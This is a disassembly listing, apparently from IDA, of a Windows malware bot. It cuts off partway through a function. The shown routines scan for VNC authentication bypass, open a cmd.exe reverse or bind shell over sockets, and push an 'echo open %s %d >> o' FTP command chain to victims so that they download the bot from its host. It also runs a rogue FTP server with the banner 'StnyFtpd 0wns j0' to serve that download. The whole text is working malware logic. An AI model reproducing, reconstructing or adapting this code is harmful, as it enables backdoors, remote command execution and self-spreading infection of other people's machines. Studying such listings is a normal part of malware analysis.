		jz	short loc_40DCFF
		xor	esi, esi
		test	edi, edi
		jle	short loc_40DCF9


loc_40DCD2:				; CODE XREF: sub_40DCC2+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4E08EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DCFF
		test	eax, eax
		jz	short loc_40DCFF
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40DCD2


loc_40DCF9:				; CODE XREF: sub_40DCC2+Ej
		push	1
		pop	eax


loc_40DCFC:				; CODE XREF: sub_40DCC2+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40DCFF:				; CODE XREF: sub_40DCC2+8j
					; sub_40DCC2+2Bj ...
		xor	eax, eax
		jmp	short loc_40DCFC
sub_40DCC2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_44B4E8
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	edi
		push	edi
		call	dword_4E091C
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40DD31
		push	eax
		jmp	short loc_40DD65
; ---------------------------------------------------------------------------


loc_40DD31:				; CODE XREF: .nsp0:0040DD2Cj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4E08DC
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], di
		call	dword_4E08A0
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	esi
		call	dword_4E084C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40DD70
		push	esi


loc_40DD65:				; CODE XREF: .nsp0:0040DD2Fj
		call	dword_4E0934
		jmp	loc_40DF5F
; ---------------------------------------------------------------------------


loc_40DD70:				; CODE XREF: .nsp0:0040DD62j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	esi
		call	sub_40DC89
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40DF58
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset dword_44B4EC
		push	eax
		call	sub_41CC10
		add	esp, 10h
		cmp	eax, edi
		jnz	loc_40DF58
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40DDBC
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40DF58


loc_40DDBC:				; CODE XREF: .nsp0:0040DDB0j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	esi
		call	sub_40DCC2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40DF58
		lea	eax, [ebp-3Ch]
		push	edi
		push	eax
		push	esi
		call	sub_40DC89
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40DF58
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	esi
		call	sub_40DCC2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40DF58
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	esi
		call	sub_40DC89
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40DF58
		mov	eax, [ebp-24h]
		mov	ebx, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, ebx
		mov	edi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, edi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40DF58
		push	1
		push	offset dword_4E35F8
		push	esi
		call	sub_40DCC2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40DF58
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	esi
		call	sub_40DC89
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40DF58
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, ebx
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, edi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41D910
		push	dword ptr [ebp-8]
		mov	edi, eax
		push	edi
		push	esi
		call	sub_40DF66
		lea	eax, [ebp+0Ch]
		push	eax
		push	edi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B910
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_408EB9
		add	esp, 40h
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_41458A
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		inc	dword_4492B0[eax]
		push	esi
		lea	eax, dword_4492B0[eax]
		call	dword_4F1508	; closesocket
		push	1
		pop	eax
		jmp	short loc_40DF61
; ---------------------------------------------------------------------------


loc_40DF58:				; CODE XREF: .nsp0:0040DD81j
					; .nsp0:0040DDA6j ...
		push	esi
		call	dword_4F1508	; closesocket


loc_40DF5F:				; CODE XREF: .nsp0:0040DD6Bj
		xor	eax, eax


loc_40DF61:				; CODE XREF: .nsp0:0040DF56j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40DF66	proc near		; CODE XREF: .nsp0:0040DEE6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		test	esi, esi
		jle	short loc_40DF82
		push	esi
		push	edi
		push	[esp+10h+arg_0]
		call	sub_40DC89
		add	esp, 0Ch


loc_40DF82:				; CODE XREF: sub_40DF66+Cj
		and	byte ptr [edi+esi], 0
		pop	edi
		pop	esi
		retn
sub_40DF66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40DF89	proc near		; DATA XREF: sub_40E017+15Bo

var_404		= byte ptr -404h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40DF92:				; CODE XREF: sub_40DF89+25j
					; sub_40DF89+41j
		push	0
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4E360C
		call	dword_4E08B8
		test	eax, eax
		jle	short loc_40DF92
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	dword_4E3608
		call	dword_4F139C	; WriteFile
		jmp	short loc_40DF92
sub_40DF89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40DFCC	proc near		; DATA XREF: sub_40E017+142o

var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40DFD5:				; CODE XREF: sub_40DFCC+2Fj
					; sub_40DFCC+49j
		lea	eax, [ebp+var_4]
		and	[ebp+var_4], 0
		push	0
		push	eax
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4E35FC
		call	dword_4F13A4	; ReadFile
		cmp	[ebp+var_4], 0
		jle	short loc_40DFD5
		push	0
		lea	eax, [ebp+var_404]
		push	[ebp+var_4]
		push	eax
		push	dword_4E360C
		call	dword_4E08EC
		jmp	short loc_40DFD5
sub_40DFCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40E017	proc near		; DATA XREF: sub_401CC1+2868o

var_11C		= byte ptr -11Ch
var_98		= dword	ptr -98h
var_7C		= dword	ptr -7Ch
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_38		= word ptr -38h
var_36		= word ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	28h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_11C]
		rep movsd
		push	1
		xor	edi, edi
		pop	esi
		mov	[eax+98h], esi
		push	10h
		lea	eax, [ebp+var_38]
		push	edi
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	[ebp+var_38], 2
		push	[ebp+var_98]
		call	dword_4E08A0
		push	6
		push	esi
		push	2
		mov	[ebp+var_36], ax
		call	dword_4E091C
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	[ebp+arg_0]
		call	dword_4E08CC
		push	5
		push	[ebp+arg_0]
		call	dword_4E08C8
		mov	ebx, dword_4F13B8
		mov	esi, dword_4F1324


loc_40E097:				; CODE XREF: sub_40E017+1CBj
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	dword_4E0930
		mov	dword_4E360C, eax
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4E3608
		push	offset dword_4E3604
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], edi
		call	ebx	; CreatePipe
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4E3600
		push	offset dword_4E35FC
		call	ebx	; CreatePipe
		push	44h
		lea	eax, [ebp+var_7C]
		push	edi
		push	eax
		call	sub_41B190
		mov	eax, dword_4E3604
		add	esp, 0Ch
		mov	[ebp+var_44], eax
		mov	eax, dword_4E3600
		mov	[ebp+var_40], eax
		push	edi
		push	1
		lea	eax, [ebp+var_3C]
		push	2
		push	eax
		mov	[ebp+var_7C], 44h
		mov	[ebp+var_50], 101h
		mov	[ebp+var_4C], di
		call	dword_4F13B4	; GetCurrentProcess
		push	eax
		push	dword_4E3600
		call	dword_4F13B4	; GetCurrentProcess
		push	eax
		call	dword_4F13B0	; DuplicateHandle
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	edi
		push	edi
		push	4000090h
		lea	eax, [ebp+var_C]
		push	1
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aCmd_exe	; "cmd.exe"
		push	edi
		call	dword_4F1328	; CreateProcessA
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40DFCC
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_4F1338	; CreateThread
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40DF89
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_4F1338	; CreateThread
		push	0FFFFFFFFh
		mov	[ebp+var_10], eax
		push	[ebp+var_28]
		call	dword_4F135C	; WaitForSingleObject
		push	edi
		push	[ebp+var_10]
		call	dword_4F1368	; TerminateThread
		push	edi
		push	[ebp+var_14]
		call	dword_4F1368	; TerminateThread
		push	[ebp+var_10]
		call	esi	; CloseHandle
		push	[ebp+var_14]
		call	esi	; CloseHandle
		push	edi
		push	[ebp+var_28]
		call	dword_4F13AC	; TerminateProcess
		push	dword_4E3604
		call	esi	; CloseHandle
		push	dword_4E3608
		call	esi	; CloseHandle
		push	dword_4E35FC
		call	esi	; CloseHandle
		push	dword_4E3600
		call	esi	; CloseHandle
		push	[ebp+var_24]
		call	esi	; CloseHandle
		push	[ebp+var_28]
		call	esi	; CloseHandle
		jmp	loc_40E097
sub_40E017	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40E1E7	proc near		; DATA XREF: .nsp0:0043A010o
		jmp	$+5
sub_40E1E7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E1EC	proc near
		push	0FFFEh
		push	400h
		call	sub_4165B5
		pop	ecx
		mov	dword_4E3614, eax
		pop	ecx
		retn
sub_40E1EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E203	proc near		; DATA XREF: sub_40B1CC+34Do

var_6C0		= byte ptr -6C0h
var_2C0		= byte ptr -2C0h
var_C0		= byte ptr -0C0h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 6C0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	27h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[eax+98h], esi
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_A4]
		call	dword_4E08A0
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], ebx
		call	dword_4E091C
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jnz	short loc_40E2AA
		cmp	[ebp+var_1C], ebx
		jnz	short loc_40E28A
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_408EB9
		add	esp, 14h


loc_40E28A:				; CODE XREF: sub_40E203+65j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41458A
		push	[ebp+var_AC]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4F1388	; ExitThread


loc_40E2AA:				; CODE XREF: sub_40E203+60j
		mov	eax, [ebp+var_AC]
		push	10h
		imul	eax, 234h
		mov	dword_4537D4[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4E08CC
		cmp	eax, esi
		mov	ebx, 400h
		jnz	loc_40E3A5
		call	dword_4E083C
		cmp	eax, 2740h
		jz	short loc_40E32A
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40E30A
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_408EB9
		add	esp, 14h


loc_40E30A:				; CODE XREF: sub_40E203+E5j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41458A
		push	[ebp+var_AC]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F1388	; ExitThread


loc_40E32A:				; CODE XREF: sub_40E203+DEj
		push	0FFFEh
		push	ebx
		call	sub_4165B5
		pop	ecx
		mov	dword_4E3614, eax
		pop	ecx
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		call	dword_4E08CC
		cmp	eax, esi
		jnz	short loc_40E3A5
		call	dword_4E083C
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40E385
		cmp	eax, 2740h
		jz	short loc_40E385
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_408EB9
		add	esp, 14h


loc_40E385:				; CODE XREF: sub_40E203+159j
					; sub_40E203+160j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41458A
		push	[ebp+var_AC]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F1388	; ExitThread


loc_40E3A5:				; CODE XREF: sub_40E203+CDj
					; sub_40E203+14Cj
		push	5
		push	edi
		call	dword_4E08C8
		cmp	eax, esi
		jz	loc_40E48A
		mov	[ebp+var_4], 10h
		mov	esi, offset byte_43A0E8


loc_40E3C2:				; CODE XREF: sub_40E203+1D7j
					; sub_40E203+227j ...
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	edi
		call	dword_4E0930
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40E3C2
		cmp	[ebp+var_1C], 0
		jnz	short loc_40E403
		push	0
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_408EB9
		add	esp, 14h


loc_40E403:				; CODE XREF: sub_40E203+1DDj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41458A
		pop	ecx
		lea	eax, [ebp+var_2C0]
		push	0
		push	200h
		push	eax
		push	[ebp+arg_0]
		call	dword_4E08B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E3C2
		push	esi
		push	esi
		push	dword_4E05C8
		push	[ebp+var_B0]
		call	sub_40A019
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"...
		lea	eax, [ebp+var_6C0]
		push	ebx
		push	eax
		call	sub_41B910
		add	esp, 1Ch
		lea	eax, [ebp+var_6C0]
		push	0
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6C0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E08EC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E3C2
		inc	dword_4E361C
		jmp	loc_40E3C2
; ---------------------------------------------------------------------------


loc_40E48A:				; CODE XREF: sub_40E203+1ADj
		push	edi
		call	dword_4E0934
		push	[ebp+var_AC]
		call	sub_40AB19
		pop	ecx
		push	0
		call	dword_4F1388	; ExitThread
sub_40E203	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E4A5	proc near		; DATA XREF: sub_40B1CC+22Ao

var_A70		= byte ptr -0A70h
var_8E0		= byte ptr -8E0h
var_6E0		= dword	ptr -6E0h
var_4C8		= byte ptr -4C8h
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= dword	ptr -43Ch
var_338		= byte ptr -338h
var_2D4		= byte ptr -2D4h
var_2A0		= byte ptr -2A0h
var_23C		= byte ptr -23Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_128		= byte ptr -128h
var_FC		= byte ptr -0FCh
var_C8		= byte ptr -0C8h
var_B0		= byte ptr -0B0h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_3C		= byte ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A70h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6E0]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A70]
		xor	esi, esi
		push	eax
		push	101h
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_22C], esi
		mov	[ebp+var_43C], esi
		call	dword_4F14DC	; WSAStartup
		push	esi
		push	ebx
		push	2
		call	dword_4F150C	; socket
		mov	esi, dword_4F14E0
		lea	ecx, [ebp+var_1C]
		push	4
		push	ecx
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	eax
		mov	[ebp+var_8], eax
		call	esi	; setsockopt
		lea	eax, [ebp+var_2C]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		mov	edi, [ebp+var_8]
		push	edi
		call	esi	; setsockopt
		lea	eax, [ebp+var_24]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4F14E4	; ioctlsocket
		mov	ax, word ptr dword_4E05C8
		and	[ebp+var_48], 0
		push	eax
		mov	[ebp+var_4C], 2
		call	dword_4E08A0
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	edi
		call	dword_4F14E8	; bind
		test	eax, eax
		jge	short loc_40E56B
		mov	eax, ebx
		jmp	loc_40EAD2
; ---------------------------------------------------------------------------


loc_40E56B:				; CODE XREF: sub_40E4A5+BDj
		push	0Ah
		push	edi
		call	dword_4F14EC	; listen
		mov	[ebp+var_22C], ebx
		mov	ebx, dword_4F1510
		mov	[ebp+var_228], edi
		mov	[ebp+var_4], edi


loc_40E589:				; CODE XREF: sub_40E4A5+11Dj
					; sub_40E4A5+625j
		push	41h
		lea	esi, [ebp+var_22C]
		pop	ecx
		lea	edi, [ebp+var_43C]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_43C]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_4F1514	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EACF
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_40E589


loc_40E5C4:				; CODE XREF: sub_40E4A5+61Fj
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_41B190
		push	64h
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_41B190
		add	esp, 18h
		lea	eax, [ebp+var_43C]
		push	eax
		push	edi
		call	sub_435832	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40EABD
		cmp	edi, [ebp+var_8]
		jnz	short loc_40E67B
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		push	[ebp+var_8]
		call	dword_4F14F0	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EABD
		xor	ecx, ecx
		cmp	[ebp+var_22C], esi
		jbe	short loc_40E645
		lea	edx, [ebp+var_228]


loc_40E635:				; CODE XREF: sub_40E4A5+19Ej
		cmp	[edx], eax
		jz	short loc_40E645
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_22C]
		jb	short loc_40E635


loc_40E645:				; CODE XREF: sub_40E4A5+188j
					; sub_40E4A5+192j
		cmp	ecx, [ebp+var_22C]
		jnz	short loc_40E663
		cmp	[ebp+var_22C], 40h
		jnb	short loc_40E663
		mov	[ebp+ecx*4+var_228], eax
		inc	[ebp+var_22C]


loc_40E663:				; CODE XREF: sub_40E4A5+1A6j
					; sub_40E4A5+1AFj
		cmp	eax, [ebp+var_4]
		jle	short loc_40E66B
		mov	[ebp+var_4], eax


loc_40E66B:				; CODE XREF: sub_40E4A5+1C1j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_40EABD
; ---------------------------------------------------------------------------


loc_40E67B:				; CODE XREF: sub_40E4A5+15Aj
		push	esi
		lea	eax, [ebp+var_2A0]
		push	64h
		push	eax
		push	edi
		call	dword_4F1504	; recv
		test	eax, eax
		jg	short loc_40E6E2
		mov	edx, [ebp+var_22C]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40E6D6
		lea	eax, [ebp+var_228]


loc_40E6A2:				; CODE XREF: sub_40E4A5+207j
		cmp	[eax], edi
		jz	short loc_40E6B0
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_40E6A2
		jmp	short loc_40E6D6
; ---------------------------------------------------------------------------


loc_40E6B0:				; CODE XREF: sub_40E4A5+1FFj
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40E6D0
		lea	eax, [ebp+ecx*4+var_228]


loc_40E6BC:				; CODE XREF: sub_40E4A5+229j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_22C]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_40E6BC


loc_40E6D0:				; CODE XREF: sub_40E4A5+20Ej
		dec	[ebp+var_22C]


loc_40E6D6:				; CODE XREF: sub_40E4A5+1F5j
					; sub_40E4A5+209j
		push	edi
		call	dword_4F1508	; closesocket
		jmp	loc_40EABD
; ---------------------------------------------------------------------------


loc_40E6E2:				; CODE XREF: sub_40E4A5+1E9j
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_41CC10
		lea	eax, [ebp+var_B0]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_41C4C0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40E726
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40EAA8
; ---------------------------------------------------------------------------


loc_40E726:				; CODE XREF: sub_40E4A5+272j
		lea	eax, [ebp+var_B0]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E74A
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_40EAA8
; ---------------------------------------------------------------------------


loc_40E74A:				; CODE XREF: sub_40E4A5+296j
		lea	eax, [ebp+var_B0]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E76E
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	loc_40EAA8
; ---------------------------------------------------------------------------


loc_40E76E:				; CODE XREF: sub_40E4A5+2BAj
		lea	eax, [ebp+var_B0]
		push	offset aRest	; "REST"
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E792
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_40EAA8
; ---------------------------------------------------------------------------


loc_40E792:				; CODE XREF: sub_40E4A5+2DEj
		lea	eax, [ebp+var_B0]
		push	offset off_44B628
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E7B6
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_40EAA8
; ---------------------------------------------------------------------------


loc_40E7B6:				; CODE XREF: sub_40E4A5+302j
		lea	eax, [ebp+var_B0]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E7F1
		lea	eax, [ebp+var_338]
		push	offset aA_0	; "A"
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E7F1
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40EAA8
; ---------------------------------------------------------------------------


loc_40E7F1:				; CODE XREF: sub_40E4A5+326j
					; sub_40E4A5+33Dj
		lea	eax, [ebp+var_B0]
		push	offset aType_0	; "TYPE"
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E82C
		lea	eax, [ebp+var_338]
		push	offset aI	; "I"
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E82C
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40EAA8
; ---------------------------------------------------------------------------


loc_40E82C:				; CODE XREF: sub_40E4A5+361j
					; sub_40E4A5+378j
		lea	eax, [ebp+var_B0]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E87A
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_128]
		rep movsd
		push	eax
		lea	eax, [ebp+var_128]
		push	eax
		movsw
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_128]


loc_40E86A:				; CODE XREF: sub_40E4A5+414j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi


loc_40E872:				; CODE XREF: sub_40E4A5+4E4j
		mov	edi, [ebp+arg_0]
		jmp	loc_40EAAB
; ---------------------------------------------------------------------------


loc_40E87A:				; CODE XREF: sub_40E4A5+39Cj
		lea	eax, [ebp+var_B0]
		push	offset aList_0	; "LIST"
		push	eax
		call	sub_41C4C0
		pop	ecx
